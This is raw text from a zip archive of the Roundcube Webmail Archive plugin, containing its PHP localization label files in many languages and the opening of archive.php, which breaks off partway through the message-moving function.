$labels['archivetypefolderyear'] = 'År og den originale mappe (f.eks. Arkiv/2012/...)';
$labels['archivetypefoldermonth'] = 'År, måned og den originale mappe (f.eks. Arkiv/2012/06/...)';
$labels['archivetypesender'] = 'Afsenders email';
$labels['unkownsender'] = 'ukendt';
$labels['readonarchive'] = 'Marker denne meddelelse som læst i arkivet';
PKh�\�����&plugins/archive/localization/sl_SI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Arhiv';
$labels['buttontitle'] = 'Arhiviraj to sporočilo';
$labels['archived'] = 'Sporočilo je bilo uspešno arhivirano';
$labels['archivedreload'] = 'Uspešno  shranjeno v arhiv. Za pregled map v Arhivu ponovno naložite stran.';
$labels['archiveerror'] = 'Nekaterih sporočil ni bilo mogoče arhivirati';
$labels['archivefolder'] = 'Arhiv';
$labels['settingstitle'] = 'Arhiv';
$labels['archivetype'] = 'Razdeli arhiv glede na';
$labels['archivetypeyear'] = 'Leto (npr. Arhiv/2012)';
$labels['archivetypemonth'] = 'Mesec (npr. Arhiv/2012/06)';
$labels['archivetypetbmonth'] = 'Mesec - podprto tudi v odjemalcu Thunderbird (npr. Arhiv/2012/2012-06)';
$labels['archivetypefolder'] = 'Izvorna mapa';
$labels['archivetypesender'] = 'Naslov pošiljatelja';
$labels['unkownsender'] = 'neznan';
$labels['readonarchive'] = 'Ob arhiviranju označi sporočilo kot prebrano';
PKh�\�kb��#plugins/archive/localization/ar.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'أرشفة';
$labels['buttontitle'] = 'أرشفة هذه الرسالة';
$labels['archived'] = 'تم أرشفة الرسالة بنجاح';
$labels['archivefolder'] = 'أرشفة';
$labels['settingstitle'] = 'أرشفة';
$labels['archivetype'] = 'تقسيم الأرشيف بحسب';
$labels['archivetypefolder'] = 'المجلد الأصلي';
$labels['unkownsender'] = 'مجهول';
PKh�\Y��+��&plugins/archive/localization/si_LK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'සංරක්‍ෂණය';
$labels['buttontitle'] = 'මෙම පණිවිඩය සංරක්‍ෂණය කරන්න';
$labels['archived'] = 'සංරක්‍ෂණය සාර්ථකයි';
$labels['archivefolder'] = 'සංරක්‍ෂණය';
$labels['settingstitle'] = 'සංරක්‍ෂණය';
$labels['unkownsender'] = 'නොදනී';
PKh�\�-�gWW&plugins/archive/localization/de_DE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Ar­chi­vie­ren';
$labels['buttontitle'] = 'Nachricht archivieren';
$labels['archived'] = 'Nachricht erfolgreich archiviert';
$labels['archivedreload'] = 'Erfolgreich archiviert. Bitte die Seite aktualisieren, um die neuen Archivordner zu sehen.';
$labels['archiveerror'] = 'Einige Nachrichten konnten nicht archiviert werden';
$labels['archivefolder'] = 'Archiv';
$labels['settingstitle'] = 'Archiv';
$labels['archivetype'] = 'Archiv aufteilen nach';
$labels['archivetypeyear'] = 'Jahr (z.B. Archiv/2012)';
$labels['archivetypemonth'] = 'Monat (z.B. Archiv/2012/06)';
$labels['archivetypetbmonth'] = 'Monat - Thunderbird-kompatibel (z.B. Archiv/2012/2012-06)';
$labels['archivetypefolder'] = 'Originalordner';
$labels['archivetypefolderyear'] = 'Jahr und der Originalordner (z.B. Archiv/2012/...)';
$labels['archivetypefoldermonth'] = 'Jahr, Monat und der Originalordner (z.B. Archiv/2012/06/...)';
$labels['archivetypesender'] = 'Absender-E-Mail';
$labels['unkownsender'] = 'unbekannt';
$labels['readonarchive'] = 'Nachricht im Archiv als gelesen markieren';
PKh�\����00&plugins/archive/localization/sv_SE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Arkivera';
$labels['buttontitle'] = 'Arkivera meddelande';
$labels['archived'] = 'Meddelandet är arkiverat';
$labels['archivedreload'] = 'Meddelandet är arkiverat. Uppdatera sidan för att se de nya arkivmapparna.';
$labels['archiveerror'] = 'Några meddelanden kunde inte arkiveras';
$labels['archivefolder'] = 'Arkiv';
$labels['settingstitle'] = 'Arkiv';
$labels['archivetype'] = 'Uppdelning av arkiv';
$labels['archivetypeyear'] = 'År (ex. Arkiv/2012)';
$labels['archivetypemonth'] = 'Månad (ex. Arkiv/2012/06)';
$labels['archivetypetbmonth'] = 'Månad - Anpassad för Thunderbird (ex. Arkiv/2012/2012-06)';
$labels['archivetypefolder'] = 'Ursprunglig mapp';
$labels['archivetypefolderyear'] = 'År och den ursprungliga mappen (t.ex. Arkiv/2012/...)';
$labels['archivetypefoldermonth'] = 'År, månad och den ursprungliga mappen (t.ex. Arkiv/2012/06/...)';
$labels['archivetypesender'] = 'Avsändaradress';
$labels['unkownsender'] = 'Okänd';
$labels['readonarchive'] = 'Markera meddelande som läst vid arkivering';
PKh�\J�ɻ��#plugins/archive/localization/ug.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'ئارخىپ';
$labels['buttontitle'] = 'بۇ خەتنى ئارخىپلاش';
$labels['archived'] = 'مۇۋاپىقىيەتلىك ئارخىپلاندى';
$labels['archivedreload'] = 'مۇۋاپىقىيەتلىك ئارخىپلاندى. بەتنى قايتا يۈكلەش ئارقىلىق يېڭى ئارخىپ قىسقۇچىنى كۆرۈڭ.';
$labels['archiveerror'] = 'بەزى خەتلەرنى ئارخىپلىغىلى بولمىدى';
$labels['archivefolder'] = 'ئارخىپ';
$labels['settingstitle'] = 'ئارخىپ';
$labels['archivetype'] = 'ئارخىپنى ئايرىش';
$labels['archivetypeyear'] = 'يىل (مەسلەن: ئارخىپ/2012)';
$labels['archivetypemonth'] = 'ئاي (مەسلەن: ئارخىپ/2012/06)';
$labels['archivetypetbmonth'] = 'ئاي - چاقماققۇشقا ماس (مەسلەن: ئارخىپ/2012/2012-06)';
$labels['archivetypefolder'] = 'ئەسلىي قىسقۇچ';
$labels['archivetypefolderyear'] = 'يىل ھەمدە ئەسلىي قىسقۇچ (مەسلەن: ئارخىپ/2012/...)';
$labels['archivetypefoldermonth'] = 'يىل، ئاي ھەمدە ئەسلىي قىسقۇچ (مەسلەن: ئارخىپ/2012/06/...)';
$labels['archivetypesender'] = 'ئەۋەتكۈچى ئېلىخېتى';
$labels['unkownsender'] = 'ناتۇنۇش';
$labels['readonarchive'] = 'خەتكە ئارخىپتا ئۇقۇغانلىق بەلگىسىنى قۇيۇش';
PKh�\j�	���&plugins/archive/localization/ko_KR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = '보관';
$labels['buttontitle'] = '이 메시지를 저장 편지함으로 이동';
$labels['archived'] = '성공적으로 저장함';
$labels['archivedreload'] = '성공적으로 저장되었습니다. 페이지를 다시 불러와서 새로운 저장 편지함 폴더를 확인하세요.';
$labels['archiveerror'] = '일부 메시지가 저장되지 않음';
$labels['archivefolder'] = '저장 편지함';
$labels['settingstitle'] = '저장 편지함';
$labels['archivetype'] = '저장 편지함 정리 기준';
$labels['archivetypeyear'] = '연도 (예: 저장 편지함/2012)';
$labels['archivetypemonth'] = '월 (예: 저장 편지함/2012/06)';
$labels['archivetypetbmonth'] = '월 - 썬더버드 호환 (예: 저장 편지함/2012/2012-06)';
$labels['archivetypefolder'] = '원본 폴더';
$labels['archivetypefolderyear'] = '연도 및 원본 폴더 (예: 저장 편지함/2012/...)';
$labels['archivetypefoldermonth'] = '연, 월 및 원본 폴더 (예: 저장 편지함/2012/06/...)';
$labels['archivetypesender'] = '발송자 이메일';
$labels['unkownsender'] = '알 수 없음';
$labels['readonarchive'] = '저장 편지함에서 메시지를 읽음으로 표시';
PKh�\�3���&plugins/archive/localization/gl_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Arquivo';
$labels['buttontitle'] = 'Arquivar esta mensaxe';
$labels['archived'] = 'Aquivouse a mensaxe';
$labels['archivedreload'] = 'Arquivado correctamente. Recargua a páxina para ver os novos cartafoles de arquivado.';
$labels['archiveerror'] = 'Non se puideron arquivar algunhas mensaxes';
$labels['archivefolder'] = 'Arquivo';
$labels['settingstitle'] = 'Arquivar';
$labels['archivetype'] = 'Dividir o arquivo por';
$labels['archivetypeyear'] = 'Ano (p.ex. Arquivo/2012)';
$labels['archivetypemonth'] = 'Mes (p.ex. Arquivo/2012/06)';
$labels['archivetypefolder'] = 'Cartafol orixe';
$labels['archivetypesender'] = 'Enderezo da persoa remitente';
$labels['unkownsender'] = 'descoñecido';
PKh�\
٭�JJ&plugins/archive/localization/it_IT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Archivio';
$labels['buttontitle'] = 'Archivia questo messaggio';
$labels['archived'] = 'Archiviato correttamente';
$labels['archivedreload'] = 'Archiviata con successo. Ricarica la pagina per visualizzare le nuove cartelle.';
$labels['archiveerror'] = 'Alcuni messaggi non possono essere archiviati';
$labels['archivefolder'] = 'Archivio';
$labels['settingstitle'] = 'Archivio';
$labels['archivetype'] = 'Dividi archivio per';
$labels['archivetypeyear'] = 'Anno (es. Archivio/2012)';
$labels['archivetypemonth'] = 'Mese (es. Archivio/2012/06)';
$labels['archivetypetbmonth'] = 'Mese - compatibile con Thunderbird (es Archivio/2012/2012-06)';
$labels['archivetypefolder'] = 'Cartella di origine';
$labels['archivetypefolderyear'] = 'Anno e la cartella originale (p.e. Archivio/2012/...)';
$labels['archivetypefoldermonth'] = 'Anno, mese e la cartella originale (p.e. Archivio/2012/06/...)';
$labels['archivetypesender'] = 'Mittente email';
$labels['unkownsender'] = 'sconosciuto';
$labels['readonarchive'] = 'Segna i messaggi in archivio come letti';
PKh�\�Ĩ`NN&plugins/archive/localization/es_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Archivo';
$labels['buttontitle'] = 'Archivar este mensaje';
$labels['archived'] = 'Archivado correctamente';
$labels['archivedreload'] = 'Archivado correctamente. Recargue la página para ver las nuevas carpetas de archivo.';
$labels['archiveerror'] = 'No se pudo archivar algunos mensajes';
$labels['archivefolder'] = 'Archivo';
$labels['settingstitle'] = 'Archivo';
$labels['archivetype'] = 'Dividir el archivo por';
$labels['archivetypeyear'] = 'Año (p.ej. Archivo/2012)';
$labels['archivetypemonth'] = 'Mes (p.ej. Archivo/2012/06)';
$labels['archivetypetbmonth'] = 'Mes - Compatible con Thunderbird (ej. Archive/2012/2012-06)';
$labels['archivetypefolder'] = 'Bandeja original';
$labels['archivetypefolderyear'] = 'Año y la carpeta original (p.ej. Archivo/2012/...)';
$labels['archivetypefoldermonth'] = 'Año, mes y la carpeta original (p.ej. Archivo/2012/06/...)';
$labels['archivetypesender'] = 'Correo electrónico del remitente';
$labels['unkownsender'] = 'desconocido';
$labels['readonarchive'] = 'Marcar el mensaje como leído al archivar';
PKh�\��ƀ�&plugins/archive/localization/ml_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'ശേഖരം';
$labels['buttontitle'] = 'ഈ മെസ്സേജ് ശേഖരിക്കുക';
$labels['archived'] = 'വിജയകരമായി ശേഖരിച്ചു';
$labels['archivefolder'] = 'ശേഖരം';
$labels['settingstitle'] = 'ശേഖരം';
$labels['unkownsender'] = 'അറിയാത്ത';
PKh�\��j�??&plugins/archive/localization/nl_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Archief';
$labels['buttontitle'] = 'Archiveer dit bericht';
$labels['archived'] = 'Succesvol gearchiveerd';
$labels['archivedreload'] = 'Succesvol gearchiveerd. Herlaad de pagina om de nieuwe archiefmappen te bekijken.';
$labels['archiveerror'] = 'Sommige berichten kunnen niet gearchiveerd worden';
$labels['archivefolder'] = 'Archief';
$labels['settingstitle'] = 'Archiveren';
$labels['archivetype'] = 'Archief opdelen in';
$labels['archivetypeyear'] = 'Jaar (bijv. Archief/2012)';
$labels['archivetypemonth'] = 'Maand (bijv. Archief/2012/06)';
$labels['archivetypetbmonth'] = 'Maand - Thunderbird compatibel (bijv. Archief/2012/06)';
$labels['archivetypefolder'] = 'Originele map';
$labels['archivetypefolderyear'] = 'Jaar en de oorspronkelijke map (bv. Archief/2012/...)';
$labels['archivetypefoldermonth'] = 'Jaar, maand en de oorspronkelijke map (bv. Archief/2012/06/...)';
$labels['archivetypesender'] = 'Afzender e-mail';
$labels['unkownsender'] = 'onbekend';
$labels['readonarchive'] = 'Markeer bericht al gelezen op archiveren';
PKh�\a�Bb..&plugins/archive/localization/cy_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Archif';
$labels['buttontitle'] = 'Archifo\'r neges hwn';
$labels['archived'] = 'Archifwyd yn llwyddiannus';
$labels['archivedreload'] = 'Archifwyd yn llwyddiannus. Ail-lwythwch y dudalen i weld ffolderi archif newydd.';
$labels['archiveerror'] = 'Nid oedd yn bosib archifo rhai negeseuon';
$labels['archivefolder'] = 'Archif';
$labels['settingstitle'] = 'Archif';
$labels['archivetype'] = 'Rhannu archif gyda';
$labels['archivetypeyear'] = 'Blwyddyn (e.g. Archif/2012)';
$labels['archivetypemonth'] = 'Mis (e.g. Archif/2012/06)';
$labels['archivetypetbmonth'] = 'Mis - Cydnaws a Thunderbird (e.e. Archif/2012/2012-06)';
$labels['archivetypefolder'] = 'Ffolder gwreiddiol';
$labels['archivetypefolderyear'] = 'Blwyddyn a ffolder gwreiddiol (e.e. Archif/2012/...)';
$labels['archivetypefoldermonth'] = 'Blwyddyn, mis a\'r ffolder gwreiddiol (e.e. Archif/2012/06...)';
$labels['archivetypesender'] = 'Ebost anfonwr';
$labels['unkownsender'] = 'anhysbys';
$labels['readonarchive'] = 'Nodi\'r neges fel darllenwyd ar archif';
PKh�\�T,
&plugins/archive/localization/en_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Archive';
$labels['buttontitle'] = 'Archive this message';
$labels['archived'] = 'Successfully archived';
$labels['archivedreload'] = 'Successfully archived. Reload the page to see the new archive folders.';
$labels['archiveerror'] = 'Some messages could not be archived';
$labels['archivefolder'] = 'Archive';
$labels['settingstitle'] = 'Archive';
$labels['archivetype'] = 'Divide archive by';
$labels['archivetypeyear'] = 'Year (e.g. Archive/2012)';
$labels['archivetypemonth'] = 'Month (e.g. Archive/2012/06)';
$labels['archivetypetbmonth'] = 'Month - Thunderbird compatible (e.g. Archive/2012/2012-06)';
$labels['archivetypefolder'] = 'Original folder';
$labels['archivetypefolderyear'] = 'Year and the original folder (e.g. Archive/2012/...)';
$labels['archivetypefoldermonth'] = 'Year, month and the original folder (e.g. Archive/2012/06/...)';
$labels['archivetypesender'] = 'Sender email';
$labels['unkownsender'] = 'unknown';
$labels['readonarchive'] = 'Mark the message as read on archive';
PKh�\!��		&plugins/archive/localization/fo_FO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Goym í skjalasavni';
$labels['buttontitle'] = 'Goym hetta boð í skjalasavni';
$labels['archived'] = 'Goymt í skjalasavn';
$labels['archivedreload'] = 'Goymt í skjalasavn. Les inn aftur síðu fyri at síggja nýggjar mappur';
$labels['archiveerror'] = 'Onkur boð kundu ikki leggjast í skjalagoymslu';
$labels['archivefolder'] = 'Goym í skjalasavni';
$labels['settingstitle'] = 'Goym í skjalasavni';
$labels['archivetype'] = 'Deil skjalagoymslu við';
$labels['archivetypeyear'] = 'Ár (t.d. Skjalagoymsla/2012)';
$labels['archivetypemonth'] = 'Mánar(t.d. Skjalahgoymsla/2012/06)';
$labels['archivetypefolder'] = 'Uppruna mappa';
$labels['archivetypesender'] = 'Sendara teldupostur';
$labels['unkownsender'] = 'ókent';
PKh�\%��Ɯ�&plugins/archive/localization/lt_LT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Archyvuoti';
$labels['buttontitle'] = 'Perkelti šį laišką į archyvą';
$labels['archived'] = 'Laiškas sėkmingai perkeltas į archyvą';
$labels['archivedreload'] = 'Sėkmingai perkelta į archyvą. Iš naujo įkelkite puslapį, kad pamatytumėt pasikeitimus.';
$labels['archiveerror'] = 'Į archyvą nepavyko perkelti keleto laiškų.';
$labels['archivefolder'] = 'Archyvuoti';
$labels['settingstitle'] = 'Archyvuoti';
$labels['archivetype'] = 'Padalinti archyvą pagal';
$labels['archivetypeyear'] = 'Metai (pvz. Archyvas/2012)';
$labels['archivetypemonth'] = 'Mėnesis (pvz. Archyvas/2012/06)';
$labels['archivetypetbmonth'] = 'Mėnesis - Suderinama su Thunderbird (pvz., Archyvas/2012/2012-06)';
$labels['archivetypefolder'] = 'Tikrasis aplankas';
$labels['archivetypefolderyear'] = 'Metai ir pradinis aplankas (pvz., Archyvas/2012/...)';
$labels['archivetypefoldermonth'] = 'Metai, mėnuo ir pradinis aplankas (pvz., Archyvas/2012/06/...)';
$labels['archivetypesender'] = 'Siuntėjo el. pašto adresas';
$labels['unkownsender'] = 'nežinomas';
$labels['readonarchive'] = 'Archyvuojant, žymėti laišką kaip skaitytą';
PKh�\����++&plugins/archive/localization/pt_PT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Arquivo';
$labels['buttontitle'] = 'Arquivar esta mensagem';
$labels['archived'] = 'Arquivada com sucesso';
$labels['archivedreload'] = 'Arquivado com sucesso. Recarregue a página para ver as novas pastas de arquivo.';
$labels['archiveerror'] = 'Algumas mensagens não puderam ser arquivadas';
$labels['archivefolder'] = 'Arquivo';
$labels['settingstitle'] = 'Arquivo';
$labels['archivetype'] = 'Dividir arquivo por';
$labels['archivetypeyear'] = 'Ano (ex. Arquivo/2012)';
$labels['archivetypemonth'] = 'Mês (ex. Arquivo/2012/06)';
$labels['archivetypetbmonth'] = 'Mês - Compatível com Thunderbird (ex. Arquivo/2012/2012-06)';
$labels['archivetypefolder'] = 'Pasta original';
$labels['archivetypefolderyear'] = 'Ano e pasta original (ex. Arquivo/2012/...)';
$labels['archivetypefoldermonth'] = 'Ano, mês e pasta original (ex. Arquivo/2012/06/...)';
$labels['archivetypesender'] = 'Email do remetente';
$labels['unkownsender'] = 'desconhecido';
$labels['readonarchive'] = 'Marcar a mensagem como lida ao arquivar';
PKh�\���				&plugins/archive/localization/el_GR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Αρχειοθέτηση';
$labels['buttontitle'] = 'Αρχειοθέτηση μηνύματος';
$labels['archived'] = 'Αρχειοθετήθηκε με επιτυχία';
$labels['archivedreload'] = 'Επιτυχής αρχειοθέτηση. Ανανεώστε την σελίδα για να δείτε τους νέους φακέλους αρχειοθέτησης. ';
$labels['archiveerror'] = 'Ορισμένα μηνύματα δεν ήταν δυνατό να αρχειοθετηθούν. ';
$labels['archivefolder'] = 'Αρχειοθέτηση';
$labels['settingstitle'] = 'Αρχειοθέτηση';
$labels['archivetype'] = 'Τμηματοποίηση αρχείου με βάση';
$labels['archivetypeyear'] = 'Έτος (π.χ. Αρχείο/2012)';
$labels['archivetypemonth'] = 'Μήνα (π.χ. Αρχείο/2012/06)';
$labels['archivetypetbmonth'] = 'Μήνας - Συμβατός με Thunderbird (π.χ. Αρχείο/2012/2012-06)';
$labels['archivetypefolder'] = 'Αρχικός φάκελος';
$labels['archivetypefolderyear'] = 'Έτος και αρχικός φάκελος (π.χ. Φάκελος/2012/...)';
$labels['archivetypefoldermonth'] = 'Έτος, μήνας, και αρχικός φάκελος (π.χ. Φάκελος/2012/06/...)';
$labels['archivetypesender'] = 'Αποστολέας email';
$labels['unkownsender'] = 'άγνωστο';
$labels['readonarchive'] = 'Σημείωση του μηνύματος ως αναγνωσμένο στο αρχείο';
PKh�\��WkOOplugins/archive/archive.phpnu�[���<?php

/**
 * Archive
 *
 * Plugin that adds a new button to the mailbox toolbar
 * to move messages to a (user selectable) archive folder.
 *
 * @version 3.2
 * @license GNU GPLv3+
 * @author Andre Rodier, Thomas Bruederli, Aleksander Machniak
 */
class archive extends rcube_plugin
{
    public $task = 'settings|mail|login';

    private $archive_folder;
    private $folders;
    private $result;


    /**
     * Plugin initialization.
     */
    function init()
    {
        $rcmail = rcmail::get_instance();

        // register special folder type
        rcube_storage::$folder_types[] = 'archive';

        $this->archive_folder = $rcmail->config->get('archive_mbox');

        if ($rcmail->task == 'mail' && ($rcmail->action == '' || $rcmail->action == 'show') && $this->archive_folder) {
            $this->include_stylesheet($this->local_skin_path() . '/archive.css');
            $this->include_script('archive.js');
            $this->add_texts('localization', true);
            $this->add_button(
                [
                    'type'     => 'link',
                    'label'    => 'buttontext',
                    'command'  => 'plugin.archive',
                    'class'    => 'button buttonPas archive disabled',
                    'classact' => 'button archive',
                    'width'    => 32,
                    'height'   => 32,
                    'title'    => 'buttontitle',
                    'domain'   => $this->ID,
                    'innerclass' => 'inner',
                ],
                'toolbar');

            // register hook to localize the archive folder
            $this->add_hook('render_mailboxlist', [$this, 'render_mailboxlist']);

            // set env variables for client
            $rcmail->output->set_env('archive_folder', $this->archive_folder);
            $rcmail->output->set_env('archive_type', $rcmail->config->get('archive_type',''));
        }
        else if ($rcmail->task == 'mail') {
            // handler for ajax request
            $this->register_action('plugin.move2archive', [$this, 'move_messages']);
        }
        else if ($rcmail->task == 'settings') {
            $this->add_hook('preferences_list', [$this, 'prefs_table']);
            $this->add_hook('preferences_save', [$this, 'prefs_save']);

            if ($rcmail->action == 'folders' && $this->archive_folder) {
                $this->include_stylesheet($this->local_skin_path() . '/archive.css');
                $this->include_script('archive.js');
                // set env variables for client
                $rcmail->output->set_env('archive_folder', $this->archive_folder);
            }
        }
    }

    /**
     * Hook to give the archive folder a localized name in the mailbox list
     */
    function render_mailboxlist($p)
    {
        // set localized name for the configured archive folder
        if ($this->archive_folder && !rcmail::get_instance()->config->get('show_real_foldernames')) {
            if (isset($p['list'][$this->archive_folder])) {
                $p['list'][$this->archive_folder]['name'] = $this->gettext('archivefolder');
            }
            else {
                // search in subfolders
                $this->_mod_folder_name($p['list'], $this->archive_folder, $this->gettext('archivefolder'));
            }
        }

        return $p;
    }

    /**
     * Helper method to find the archive folder in the mailbox tree
     */
    private function _mod_folder_name(&$list, $folder, $new_name)
    {
        foreach ($list as $idx => $item) {
            if ($item['id'] == $folder) {
                $list[$idx]['name'] = $new_name;
                return true;
            }
            else if (!empty($item['folders'])) {
                if ($this->_mod_folder_name($list[$idx]['folders'], $folder, $new_name)) {
                    return true;
                }
            }
        }

        return false;
    }

    /**
     * Plugin action to move the submitted list of messages to the archive subfolders
     * according to the user settings and their headers.
     */
    function move_messages()
    {
        $rcmail = rcmail::get_instance();

        // only process ajax requests
        if (!$rcmail->output->ajax_call) {
            return;
        }

        $this->add_texts('localization');

        $storage        = $rcmail->get_storage();
        $delimiter      = $storage->get_hierarchy_delimiter();
        $threading      = (bool) $storage->get_threading();
        $read_on_move   = (bool) $rcmail->config->get('read_on_archive');
